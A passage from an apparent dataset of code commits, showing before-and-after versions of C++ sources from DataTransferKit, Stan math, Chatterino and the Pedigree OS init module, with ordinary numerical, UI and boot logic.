nonnull_domain )\n {\n LocalEntityPredicate local_predicate(\n domain_space->entitySet()->communicator()->getRank() );\n PredicateFunction domain_predicate = PredicateComposition::And(\n domain_space->selectFunction(), local_predicate.getFunction() );\n domain_iterator = domain_space->entitySet()->entityIterator(\n domain_space->entitySet()->physicalDimension(), domain_predicate );\n }\n\n \/\/ Build a parallel search over the domain.\n ParallelSearch psearch( comm, physical_dimension, domain_iterator,\n domain_space->localMap(), d_search_list );\n\n \/\/ Get an iterator over the range entities.\n EntityIterator range_iterator;\n if ( nonnull_range )\n {\n LocalEntityPredicate local_predicate(\n range_space->entitySet()->communicator()->getRank() );\n PredicateFunction range_predicate = PredicateComposition::And(\n range_space->selectFunction(), local_predicate.getFunction() );\n range_iterator = range_space->entitySet()->entityIterator(\n d_range_entity_dim, range_predicate );\n }\n\n \/\/ Search the domain with the range.\n psearch.search( range_iterator, range_space->localMap(), d_search_list );\n\n \/\/ If we are keeping track of range entities that were not mapped, extract\n \/\/ them.\n d_missed_range_entity_ids =\n Teuchos::Array<EntityId>( psearch.getMissedRangeEntityIds() );\n\n \/\/ Determine the Support ids for the range entities found in the local\n \/\/ domain\n \/\/ on this process and the number of domain entities they were found in\n \/\/ globally for averaging.\n std::unordered_map<EntityId, GO> range_support_id_map;\n Teuchos::RCP<Tpetra::Vector<double, int, SupportId, Node>> scale_vector =\n Tpetra::createVector<double, int, SupportId, Node>( range_map );\n {\n \/\/ Extract the set of local range entities that were found in domain\n \/\/ entities.\n Teuchos::Array<int> export_ranks;\n Teuchos::Array<GO> export_data;\n Teuchos::Array<EntityId> domain_ids;\n Teuchos::Array<EntityId>::const_iterator domain_id_it;\n Teuchos::Array<GO> range_support_ids;\n EntityIterator range_it;\n EntityIterator range_begin = range_iterator.begin();\n EntityIterator range_end = range_iterator.end();\n for ( range_it = range_begin; range_it != range_end; ++range_it )\n {\n \/\/ Get the support id for the range entity.\n range_space->shapeFunction()->entitySupportIds( *range_it,\n range_support_ids );\n DTK_CHECK( 1 == range_support_ids.size() );\n\n \/\/ Get the domain entities in which the range entity was found.\n psearch.getDomainEntitiesFromRange( range_it->id(), domain_ids );\n\n \/\/ Add a scale factor for this range entity to the scaling vector.\n DTK_CHECK( range_map->isNodeGlobalElement( range_support_ids[0] ) );\n const double scale_factor =\n ( domain_ids.size() != 0 ) ? 1.0 \/ domain_ids.size() : 1.;\n scale_vector->replaceGlobalValue( range_support_ids[0],\n scale_factor );\n\n \/\/ For each supporting domain entity, pair the range entity id and\n \/\/ its support id.\n for ( domain_id_it = domain_ids.begin();\n domain_id_it != domain_ids.end(); ++domain_id_it )\n {\n export_ranks.push_back(\n psearch.domainEntityOwnerRank( *domain_id_it ) );\n\n export_data.push_back( range_support_ids[0] );\n export_data.push_back( Teuchos::as<GO>( range_it->id() ) );\n }\n }\n\n \/\/ Communicate the range entity Support data back to the domain parallel\n \/\/ decomposition.\n Tpetra::Distributor range_to_domain_dist( comm );\n int num_import = range_to_domain_dist.createFromSends( export_ranks() );\n Teuchos::Array<GO> import_data( 2 * num_import );\n Teuchos::ArrayView<const GO> export_data_view = export_data();\n range_to_domain_dist.doPostsAndWaits( export_data_view, 2,\n import_data() );\n\n \/\/ Map the range entities to their support ids.\n for ( int i = 0; i < num_import; ++i )\n {\n range_support_id_map.emplace(\n Teuchos::as<EntityId>( import_data[2 * i + 1] ),\n import_data[2 * i] );\n }\n }\n\n \/\/ Allocate the coupling matrix.\n d_coupling_matrix = Tpetra::createCrsMatrix<double, LO, GO>( range_map );\n\n \/\/ Construct the entries of the coupling matrix.\n Teuchos::Array<EntityId> range_entity_ids;\n Teuchos::Array<EntityId>::const_iterator range_entity_id_it;\n Teuchos::ArrayView<const double> range_parametric_coords;\n Teuchos::Array<double> domain_shape_values;\n Teuchos::Array<double>::iterator domain_shape_it;\n Teuchos::Array<GO> domain_support_ids;\n EntityIterator domain_it;\n EntityIterator domain_begin = domain_iterator.begin();\n EntityIterator domain_end = domain_iterator.end();\n for ( domain_it = domain_begin; domain_it != domain_end; ++domain_it )\n {\n \/\/ Get the domain Support ids supporting the domain entity.\n domain_space->shapeFunction()->entitySupportIds( *domain_it,\n domain_support_ids );\n\n \/\/ Get the range entities that mapped into this domain entity.\n psearch.getRangeEntitiesFromDomain( domain_it->id(), range_entity_ids );\n\n \/\/ Sum into the global coupling matrix row for each domain.\n for ( range_entity_id_it = range_entity_ids.begin();\n range_entity_id_it != range_entity_ids.end();\n ++range_entity_id_it )\n {\n \/\/ Get the parametric coordinates of the range entity in the\n \/\/ domain entity.\n psearch.rangeParametricCoordinatesInDomain(\n domain_it->id(), *range_entity_id_it, range_parametric_coords );\n\n \/\/ Evaluate the shape function at the coordinates.\n domain_space->shapeFunction()->evaluateValue(\n *domain_it, range_parametric_coords, domain_shape_values );\n DTK_CHECK( domain_shape_values.size() ==\n domain_support_ids.size() );\n\n \/\/ Consistent interpolation requires one support location per\n \/\/ range entity. Load the row for this range support location into\n \/\/ the matrix.\n DTK_CHECK( range_support_id_map.count( *range_entity_id_it ) );\n d_coupling_matrix->insertGlobalValues(\n range_support_id_map.find( *range_entity_id_it )->second,\n domain_support_ids(), domain_shape_values() );\n }\n }\n\n \/\/ Finalize the coupling matrix.\n d_coupling_matrix->fillComplete( domain_map, range_map );\n\n \/\/ Left-scale the matrix with the number of domain entities in which each\n \/\/ range entity was found.\n d_coupling_matrix->leftScale( *scale_vector );\n\n \/\/ If we want to keep the range data when we miss points, create the\n \/\/ scaling vector.\n if ( d_keep_missed_sol )\n {\n d_keep_range_vec =\n Tpetra::createVector<double, LO, GO, Node>( range_map );\n for ( auto &m : d_missed_range_entity_ids )\n {\n d_keep_range_vec->replaceGlobalValue( m, 1.0 );\n }\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Apply the operator.\nvoid ConsistentInterpolationOperator::applyImpl( const TpetraMultiVector &X,\n TpetraMultiVector &Y,\n Teuchos::ETransp mode,\n double alpha,\n double beta ) const\n{\n \/\/ If we want to keep the range data when we miss points, make a work vec\n \/\/ and get the parts we will zero out. Beta must be zero or the interface\n \/\/ is violated.\n Teuchos::RCP<Tpetra::Vector<Scalar, LO, GO, Node>> work_vec;\n if ( d_keep_missed_sol )\n {\n DTK_REQUIRE( 0.0 == beta );\n DTK_REQUIRE( Teuchos::nonnull( d_keep_range_vec ) );\n work_vec =\n Tpetra::createVector<double, LO, GO, Node>( this->getRangeMap() );\n work_vec->elementWiseMultiply( 1.0, *d_keep_range_vec, Y, 0.0 );\n }\n\n \/\/ Apply the coupling matrix.\n d_coupling_matrix->apply( X, Y, mode, alpha, beta );\n\n \/\/ If we want to keep the range data when we miss points, add back in the\n \/\/ components that got zeroed out.\n if ( d_keep_missed_sol )\n {\n Y.update( 1.0, *work_vec, 1.0 );\n }\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Transpose apply option.\nbool ConsistentInterpolationOperator::hasTransposeApplyImpl() const\n{\n return true;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ Return the ids of the range entities that were not mapped during the last\n\/\/ setup phase (i.e. those that are guaranteed to not receive data from the\n\/\/ transfer).\nTeuchos::ArrayView<const EntityId>\nConsistentInterpolationOperator::getMissedRangeEntityIds() const\n{\n return d_missed_range_entity_ids();\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n\n} \/\/ end namespace DataTransferKit\n\n\/\/---------------------------------------------------------------------------\/\/\n\/\/ end DTK_ConsistentInterpolationOperator.cpp\n\/\/---------------------------------------------------------------------------\/\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN__MATH__MATRIX__EXP_HPP\n#define STAN__MATH__MATRIX__EXP_HPP\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n\nnamespace stan {\n namespace math {\n \n \/**\n * Return the element-wise exponentiation of the matrix or vector.\n *\n * @param m The matrix or vector.\n * @return ret(i,j) = exp(m(i,j))\n *\/\n template<typename T, int Rows, int Cols>\n inline Eigen::Matrix<T,Rows,Cols> exp(const Eigen::Matrix<T,Rows,Cols>& m) {\n return m.array().exp().matrix();\n }\n \n }\n}\n#endif\n<commit_msg>Fix stan::math::exp behaviour for NaN (for matrices of doubles)<commit_after>#ifndef STAN__MATH__MATRIX__EXP_HPP\n#define STAN__MATH__MATRIX__EXP_HPP\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n\nnamespace stan {\n namespace math {\n \n \/**\n * Return the element-wise exponentiation of the matrix or vector.\n *\n * @param m The matrix or vector.\n * @return ret(i,j) = exp(m(i,j))\n *\/\n template<typename T, int Rows, int Cols>\n inline Eigen::Matrix<T,Rows,Cols> exp(Eigen::Matrix<T,Rows,Cols> mat) {\n T * mat_ = mat.data();\n for (int i = 0, size_ = mat.size(); i < size_; i++)\n mat_[i] = std::exp(mat_[i]);\n return mat;\n }\n \n }\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN__MATH__MATRIX__EXP_HPP\n#define STAN__MATH__MATRIX__EXP_HPP\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n\nnamespace stan {\n namespace math {\n \n \/**\n * Return the element-wise exponentiation of the matrix or vector.\n *\n * @param m The matrix or vector.\n * @return ret(i,j) = exp(m(i,j))\n *\/\n template<typename T, int Rows, int Cols>\n inline Eigen::Matrix<T,Rows,Cols> exp(Eigen::Matrix<T,Rows,Cols> mat) {\n for (T * it = mat.data(), * end_ = it + mat.size(); it != end_; it++)\n *it = exp(*it);\n return mat;\n }\n \n }\n}\n#endif\n<commit_msg>stan::math::exp(Eigen::Matrix) will have an specialized version for double that will check for nan inputs<commit_after>#ifndef STAN__MATH__MATRIX__EXP_HPP\n#define STAN__MATH__MATRIX__EXP_HPP\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n#include <boost\/math\/special_functions\/fpclassify.hpp>\n\nnamespace stan {\n namespace math {\n \n \/**\n * Return the element-wise exponentiation of the matrix or vector.\n *\n * @param m The matrix or vector.\n * @return ret(i,j) = exp(m(i,j))\n *\/\n template<typename T, int Rows, int Cols>\n inline Eigen::Matrix<T,Rows,Cols> exp(const Eigen::Matrix<T,Rows,Cols> & m) {\n return m.array().exp().matrix();\n }\n \n template<int Rows, int Cols>\n inline Eigen::Matrix<double,Rows,Cols> exp(const Eigen::Matrix<double,Rows,Cols> & m) {\n for (const double * it = m.data(), * end_ = it + m.size(); it != end_; it++)\n if (boost::math::isnan(*it)) {\n Eigen::Matrix<double,Rows,Cols> mat = m;\n for (double * it = mat.data(), * end_ = it + mat.size(); it != end_; it++)\n *it = std::exp(*it);\n return mat;\n }\n return m.array().exp().matrix();\n }\n \n }\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"common\/Emotemap.hpp\"\n#include \"messages\/Image.hpp\"\n#include \"messages\/Link.hpp\"\n#include \"messages\/MessageColor.hpp\"\n#include \"singletons\/Fonts.hpp\"\n\n#include <QRect>\n#include <QString>\n#include <QTime>\n#include <boost\/noncopyable.hpp>\n\n#include <cstdint>\n#include <memory>\n\nnamespace chatterino {\nclass Channel;\nstruct EmoteData;\nstruct MessageLayoutContainer;\n\nclass MessageElement : boost::noncopyable\n{\npublic:\n enum Flags : uint32_t {\n None = 0,\n Misc = (1 << 0),\n Text = (1 << 1),\n\n Username = (1 << 2),\n Timestamp = (1 << 3),\n\n TwitchEmoteImage = (1 << 4),\n TwitchEmoteText = (1 << 5),\n TwitchEmote = TwitchEmoteImage | TwitchEmoteText,\n BttvEmoteImage = (1 << 6),\n BttvEmoteText = (1 << 7),\n BttvEmote = BttvEmoteImage | BttvEmoteText,\n FfzEmoteImage = (1 << 10),\n FfzEmoteText = (1 << 11),\n FfzEmote = FfzEmoteImage | FfzEmoteText,\n EmoteImages = TwitchEmoteImage | BttvEmoteImage | FfzEmoteImage,\n\n BitsStatic = (1 << 12),\n BitsAnimated = (1 << 13),\n\n \/\/ Slot 1: Twitch\n \/\/ - Staff badge\n \/\/ - Admin badge\n \/\/ - Global Moderator badge\n BadgeGlobalAuthority = (1 << 14),\n\n \/\/ Slot 2: Twitch\n \/\/ - Moderator badge\n \/\/ - Broadcaster badge\n BadgeChannelAuthority = (1 << 15),\n\n \/\/ Slot 3: Twitch\n \/\/ - Subscription badges\n BadgeSubscription = (1 << 16),\n\n \/\/ Slot 4: Twitch\n \/\/ - Turbo badge\n \/\/ - Prime badge\n \/\/ - Bit badges\n \/\/ - Game badges\n BadgeVanity = (1 << 17),\n\n \/\/ Slot 5: Chatterino\n \/\/ - Chatterino developer badge\n \/\/ - Chatterino donator badge\n \/\/ - Chatterino top donator badge\n BadgeChatterino = (1 << 18),\n\n \/\/ Rest of slots: ffz custom badge? bttv custom badge? mywaifu (puke) custom badge?\n\n Badges = BadgeGlobalAuthority | BadgeChannelAuthority | BadgeSubscription | BadgeVanity |\n BadgeChatterino,\n\n ChannelName = (1 << 19),\n\n BitsAmount = (1 << 20),\n\n ModeratorTools = (1 << 21),\n\n EmojiImage = (1 << 23),\n EmojiText = (1 << 24),\n EmojiAll = EmojiImage | EmojiText,\n\n AlwaysShow = (1 << 25),\n\n \/\/ used in the ChannelView class to make the collapse buttons visible if needed\n Collapsed = (1 << 26),\n\n Default = Timestamp | Badges | Username | BitsStatic | FfzEmoteImage | BttvEmoteImage |\n TwitchEmoteImage | BitsAmount | Text | AlwaysShow,\n };\n\n enum UpdateFlags : char {\n Update_Text,\n Update_Emotes,\n Update_Images,\n Update_All = Update_Text | Update_Emotes | Update_Images\n };\n\n virtual ~MessageElement();\n\n MessageElement *setLink(const Link &link);\n MessageElement *setTooltip(const QString &tooltip);\n MessageElement *setTrailingSpace(bool value);\n const QString &getTooltip() const;\n const Link &getLink() const;\n bool hasTrailingSpace() const;\n Flags getFlags() const;\n\n virtual void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) = 0;\n\nprotected:\n MessageElement(Flags flags);\n bool trailingSpace = true;\n\nprivate:\n Link link;\n QString tooltip;\n Flags flags;\n};\n\n\/\/ contains a simple image\nclass ImageElement : public MessageElement\n{\n Image *image;\n\npublic:\n ImageElement(Image *image, MessageElement::Flags flags);\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n\/\/ contains a text, it will split it into words\nclass TextElement : public MessageElement\n{\n MessageColor color;\n FontStyle style;\n\n struct Word {\n QString text;\n int width = -1;\n };\n std::vector<Word> words;\n\npublic:\n TextElement(const QString &text, MessageElement::Flags flags,\n const MessageColor &color = MessageColor::Text,\n FontStyle style = FontStyle::ChatMedium);\n ~TextElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n\/\/ contains emote data and will pick the emote based on :\n\/\/ a) are images for the emote type enabled\n\/\/ b) which size it wants\nclass EmoteElement : public MessageElement\n{\n std::unique_ptr<TextElement> textElement;\n\npublic:\n EmoteElement(const EmoteData &data, MessageElement::Flags flags);\n ~EmoteElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n\n const EmoteData data;\n};\n\n\/\/ contains a text, formated depending on the preferences\nclass TimestampElement : public MessageElement\n{\n QTime time;\n std::unique_ptr<TextElement> element;\n QString format;\n\npublic:\n TimestampElement(QTime time = QTime::currentTime());\n ~TimestampElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n\n TextElement *formatTime(const QTime &time);\n};\n\n\/\/ adds all the custom moderation buttons, adds a variable amount of items depending on settings\n\/\/ fourtf: implement\nclass TwitchModerationElement : public MessageElement\n{\npublic:\n TwitchModerationElement();\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n} \/\/ namespace chatterino\n<commit_msg>Changed some stuff<commit_after>#pragma once\n\n#include \"common\/Emotemap.hpp\"\n#include \"messages\/Image.hpp\"\n#include \"messages\/Link.hpp\"\n#include \"messages\/MessageColor.hpp\"\n#include \"singletons\/Fonts.hpp\"\n\n#include <QRect>\n#include <QString>\n#include <QTime>\n#include <boost\/noncopyable.hpp>\n\n#include <cstdint>\n#include <memory>\n\nnamespace chatterino {\nclass Channel;\nstruct EmoteData;\nstruct MessageLayoutContainer;\n\nclass MessageElement : boost::noncopyable\n{\npublic:\n enum Flags : uint32_t {\n None = 0,\n Misc = (1 << 0),\n Text = (1 << 1),\n\n Username = (1 << 2),\n Timestamp = (1 << 3),\n\n TwitchEmoteImage = (1 << 4),\n TwitchEmoteText = (1 << 5),\n TwitchEmote = TwitchEmoteImage | TwitchEmoteText,\n BttvEmoteImage = (1 << 6),\n BttvEmoteText = (1 << 7),\n BttvEmote = BttvEmoteImage | BttvEmoteText,\n FfzEmoteImage = (1 << 10),\n FfzEmoteText = (1 << 11),\n FfzEmote = FfzEmoteImage | FfzEmoteText,\n EmoteImages = TwitchEmoteImage | BttvEmoteImage | FfzEmoteImage,\n\n BitsStatic = (1 << 12),\n BitsAnimated = (1 << 13),\n\n \/\/ Slot 1: Twitch\n \/\/ - Staff badge\n \/\/ - Admin badge\n \/\/ - Global Moderator badge\n BadgeGlobalAuthority = (1 << 14),\n\n \/\/ Slot 2: Twitch\n \/\/ - Moderator badge\n \/\/ - Broadcaster badge\n BadgeChannelAuthority = (1 << 15),\n\n \/\/ Slot 3: Twitch\n \/\/ - Subscription badges\n BadgeSubscription = (1 << 16),\n\n \/\/ Slot 4: Twitch\n \/\/ - Turbo badge\n \/\/ - Prime badge\n \/\/ - Bit badges\n \/\/ - Game badges\n BadgeVanity = (1 << 17),\n\n \/\/ Slot 5: Chatterino\n \/\/ - Chatterino developer badge\n \/\/ - Chatterino donator badge\n \/\/ - Chatterino top donator badge\n BadgeChatterino = (1 << 18),\n\n \/\/ Rest of slots: ffz custom badge? bttv custom badge? mywaifu (puke) custom badge?\n\n Badges = BadgeGlobalAuthority | BadgeChannelAuthority | BadgeSubscription | BadgeVanity |\n BadgeChatterino,\n\n ChannelName = (1 << 19),\n\n BitsAmount = (1 << 20),\n\n ModeratorTools = (1 << 21),\n\n EmojiImage = (1 << 23),\n EmojiText = (1 << 24),\n EmojiAll = EmojiImage | EmojiText,\n\n AlwaysShow = (1 << 25),\n\n \/\/ used in the ChannelView class to make the collapse buttons visible if needed\n Collapsed = (1 << 26),\n\n Default = Timestamp | Badges | Username | BitsStatic | FfzEmoteImage | BttvEmoteImage |\n TwitchEmoteImage | BitsAmount | Text | AlwaysShow,\n };\n\n enum UpdateFlags : char {\n Update_Text,\n Update_Emotes,\n Update_Images,\n Update_All = Update_Text | Update_Emotes | Update_Images\n };\n\n virtual ~MessageElement();\n\n MessageElement *setLink(const Link &link);\n MessageElement *setTooltip(const QString &tooltip);\n MessageElement *setTrailingSpace(bool value);\n const QString &getTooltip() const;\n const Link &getLink() const;\n bool hasTrailingSpace() const;\n Flags getFlags() const;\n\n virtual void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) = 0;\n\nprotected:\n MessageElement(Flags flags);\n bool trailingSpace = true;\n\nprivate:\n Link link;\n QString tooltip;\n Flags flags;\n};\n\n\/\/ contains a simple image\nclass ImageElement : public MessageElement\n{\n Image *image;\n\npublic:\n ImageElement(Image *image, MessageElement::Flags flags);\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n\/\/ contains a text, it will split it into words\nclass TextElement : public MessageElement\n{\n MessageColor color;\n FontStyle style;\n\n struct Word {\n QString text;\n int width = -1;\n };\n std::vector<Word> words;\n\npublic:\n TextElement(const QString &text, MessageElement::Flags flags,\n const MessageColor &color = MessageColor::Text,\n FontStyle style = FontStyle::ChatMedium);\n ~TextElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n\/\/ contains emote data and will pick the emote based on :\n\/\/ a) are images for the emote type enabled\n\/\/ b) which size it wants\nclass EmoteElement : public MessageElement\n{\n std::unique_ptr<TextElement> textElement;\n\npublic:\n EmoteElement(const EmoteData &data, MessageElement::Flags flags);\n ~EmoteElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n\n const EmoteData data;\n};\n\n\/\/ contains a text, formated depending on the preferences\nclass TimestampElement : public MessageElement\n{\npublic:\n TimestampElement(QTime time_ = QTime::currentTime());\n ~TimestampElement() override = default;\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n\n TextElement *formatTime(const QTime &time_);\n\nprivate:\n QTime time_;\n std::unique_ptr<TextElement> element_;\n QString format_;\n};\n\n\/\/ adds all the custom moderation buttons, adds a variable amount of items depending on settings\n\/\/ fourtf: implement\nclass TwitchModerationElement : public MessageElement\n{\npublic:\n TwitchModerationElement();\n\n void addToContainer(MessageLayoutContainer &container, MessageElement::Flags flags) override;\n};\n\n} \/\/ namespace chatterino\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <Log.h>\n#include <vfs\/VFS.h>\n#include <vfs\/Directory.h>\n#include \"..\/..\/subsys\/posix\/PosixSubsystem.h\"\n#include <machine\/Device.h>\n#include <machine\/Disk.h>\n#include <Module.h>\n#include <processor\/Processor.h>\n#include <linker\/Elf.h>\n#include <process\/Thread.h>\n#include <process\/Process.h>\n#include <process\/Scheduler.h>\n#include <processor\/PhysicalMemoryManager.h>\n#include <processor\/VirtualAddressSpace.h>\n#include <machine\/Machine.h>\n#include <linker\/DynamicLinker.h>\n#include <panic.h>\n#include <utilities\/assert.h>\n\n#include <kernel\/core\/BootIO.h>\n\n#include <network-stack\/NetworkStack.h>\n#include <network-stack\/RoutingTable.h>\n#include <network-stack\/UdpLogger.h>\n\n#include <users\/UserManager.h>\n\n#include <utilities\/TimeoutGuard.h>\n\n#include <config\/ConfigurationManager.h>\n#include <config\/MemoryBackend.h>\n\n#include <machine\/DeviceHashTree.h>\n#include <lodisk\/LoDisk.h>\n\n#include <machine\/InputManager.h>\n\nextern void pedigree_init_sigret();\nextern void pedigree_init_pthreads();\n\nextern BootIO bootIO;\n\nvoid init_stage2();\n\nstatic bool bRootMounted = false;\nstatic bool probeDisk(Disk *pDisk)\n{\n String alias; \/\/ Null - gets assigned by the filesystem.\n if (VFS::instance().mount(pDisk, alias))\n {\n \/\/ For mount message\n bool didMountAsRoot = false;\n\n \/\/ Search for the root specifier, if we haven't already mounted root\n if (!bRootMounted)\n {\n NormalStaticString s;\n s += alias;\n s += \"»\/.pedigree-root\";\n\n File* f = VFS::instance().find(String(static_cast<const char*>(s)));\n if (f && !bRootMounted)\n {\n NOTICE(\"Mounted \" << alias << \" successfully as root.\");\n VFS::instance().addAlias(alias, String(\"root\"));\n bRootMounted = didMountAsRoot = true;\n }\n }\n\n if(!didMountAsRoot)\n {\n NOTICE(\"Mounted \" << alias << \".\");\n }\n return false;\n }\n return false;\n}\n\nstatic bool findDisks(Device *pDev)\n{\n for (unsigned int i = 0; i < pDev->getNumChildren(); i++)\n {\n Device *pChild = pDev->getChild(i);\n if (pChild->getNumChildren() == 0 && \/* Only check leaf nodes. *\/\n pChild->getType() == Device::Disk)\n {\n if ( probeDisk(dynamic_cast<Disk*> (pChild)) ) return true;\n }\n else\n {\n \/\/ Recurse.\n if (findDisks(pChild)) return true;\n }\n }\n return false;\n}\n\nstatic void init()\n{\n static HugeStaticString str;\n\n \/\/ Mount all available filesystems.\n if (!findDisks(&Device::root()))\n {\n\/\/ FATAL(\"No disks found!\");\n }\n\n\/\/ if (VFS::instance().find(String(\"raw»\/\")) == 0)\n\/\/ {\n\/\/ FATAL(\"No raw partition!\");\n\/\/ }\n\n \/\/ Are we running a live CD?\n \/\/\/ \\todo Use the configuration manager to determine if we're running a live CD or\n \/\/\/ not, to avoid the potential for conflicts here.\n if(VFS::instance().find(String(\"root»\/livedisk.img\")))\n {\n FileDisk *pRamDisk = new FileDisk(String(\"root»\/livedisk.img\"), FileDisk::RamOnly);\n if(pRamDisk && pRamDisk->initialise())\n {\n pRamDisk->setParent(&Device::root());\n Device::root().addChild(pRamDisk);\n\n \/\/ Mount it in the VFS\n VFS::instance().removeAlias(String(\"root\"));\n bRootMounted = false;\n findDisks(pRamDisk);\n }\n else\n delete pRamDisk;\n }\n\n \/\/ Is there a root disk mounted?\n if(VFS::instance().find(String(\"root»\/.pedigree-root\")) == 0)\n {\n FATAL(\"No root disk (missing .pedigree-root?)\");\n }\n\n \/\/ Fill out the device hash table\n DeviceHashTree::instance().fill(&Device::root());\n\n#if 0\n \/\/ Testing froggey's Bochs patch for magic watchpoints... -Matt\n volatile uint32_t abc = 0;\n NOTICE(\"Address of abc = \" << reinterpret_cast<uintptr_t>(&abc) << \"...\");\n asm volatile(\"xchg %%cx,%%cx\" :: \"a\" (&abc));\n abc = 0xdeadbeef;\n abc = 0xdeadbe;\n abc = 0xdead;\n abc = 0xde;\n abc = 0xd;\n abc = 0;\n FATAL(\"Test complete: \" << abc << \".\");\n#endif\n\n \/\/ Initialise user\/group configuration.\n UserManager::instance().initialise();\n\n \/\/ Build routing tables - try to find a default configuration that can\n \/\/ connect to the outside world\n IpAddress empty;\n bool bRouteFound = false;\n for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++)\n {\n \/\/\/ \\todo Perhaps try and ping a remote host?\n Network* card = NetworkStack::instance().getDevice(i);\n StationInfo info = card->getStationInfo();\n\n \/\/ If the device has a gateway, set it as the default and continue\n if (info.gateway != empty)\n {\n if(!bRouteFound)\n {\n RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String(\"default\"), card);\n bRouteFound = true;\n }\n\n \/\/ Additionally route the complement of its subnet to the gateway\n RoutingTable::instance().Add(RoutingTable::DestSubnetComplement,\n info.ipv4,\n info.subnetMask,\n info.gateway,\n String(\"\"),\n card);\n\n \/\/ And the actual subnet that the card is on needs to route to... the card.\n RoutingTable::instance().Add(RoutingTable::DestSubnet,\n info.ipv4,\n info.subnetMask,\n empty,\n String(\"\"),\n card);\n }\n\n \/\/ If this isn't already the loopback device, redirect our own IP to 127.0.0.1\n if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1))\n RoutingTable::instance().Add(RoutingTable::DestIpSub, info.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(\"\"), NetworkStack::instance().getLoopback());\n else\n RoutingTable::instance().Add(RoutingTable::DestIp, info.ipv4, empty, String(\"\"), card);\n }\n\n \/\/ Otherwise, just assume the default is interface zero\n if (!bRouteFound)\n RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String(\"default\"), NetworkStack::instance().getDevice(0));\n\n#if 0\n \/\/ Routes installed, start the UDP logger\n UdpLogger *logger = new UdpLogger();\n logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1)));\n\n Log::instance().installCallback(logger);\n#endif\n\n str += \"Loading init program (root»\/applications\/TUI)\\n\";\n bootIO.write(str, BootIO::White, BootIO::Black);\n str.clear();\n\n#ifdef THREADS\n \/\/ At this point we're uninterruptible, as we're forking.\n Spinlock lock;\n lock.acquire();\n\n \/\/ Create a new process for the init process.\n Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent());\n pProcess->setUser(UserManager::instance().getUser(0));\n pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup());\n\n pProcess->description().clear();\n pProcess->description().append(\"init\");\n\n pProcess->setCwd(VFS::instance().find(String(\"root»\/\")));\n pProcess->setCtty(0);\n\n PosixSubsystem *pSubsystem = new PosixSubsystem;\n pProcess->setSubsystem(pSubsystem);\n\n new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 \/* parameter *\/);\n\n lock.release();\n#else\n #warning the init module is almost useless without threads.\n#endif\n}\nstatic void destroy()\n{\n}\n\nextern void system_reset();\n\nvoid init_stage2()\n{\n \/\/ Load initial program.\n File* initProg = VFS::instance().find(String(\"root»\/applications\/TUI\"));\n if (!initProg)\n {\n NOTICE(\"INIT: FileNotFound!!\");\n initProg = VFS::instance().find(String(\"root»\/applications\/tui\"));\n if (!initProg)\n {\n FATAL(\"Unable to load init program!\");\n return;\n }\n }\n NOTICE(\"INIT: File found: \" << reinterpret_cast<uintptr_t>(initProg));\n String fname = initProg->getName();\n NOTICE(\"INIT: name: \" << fname);\n \/\/ That will have forked - we don't want to fork, so clear out all the chaff in the new address space that's not\n \/\/ in the kernel address space so we have a clean slate.\n Process *pProcess = Processor::information().getCurrentThread()->getParent();\n pProcess->getAddressSpace()->revertToKernelAddressSpace();\n\n DynamicLinker *pLinker = new DynamicLinker();\n pProcess->setLinker(pLinker);\n\n if (!pLinker->loadProgram(initProg))\n {\n FATAL(\"Init program failed to load!\");\n }\n\n for (int j = 0; j < 0x20000; j += 0x1000)\n {\n physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage();\n bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), 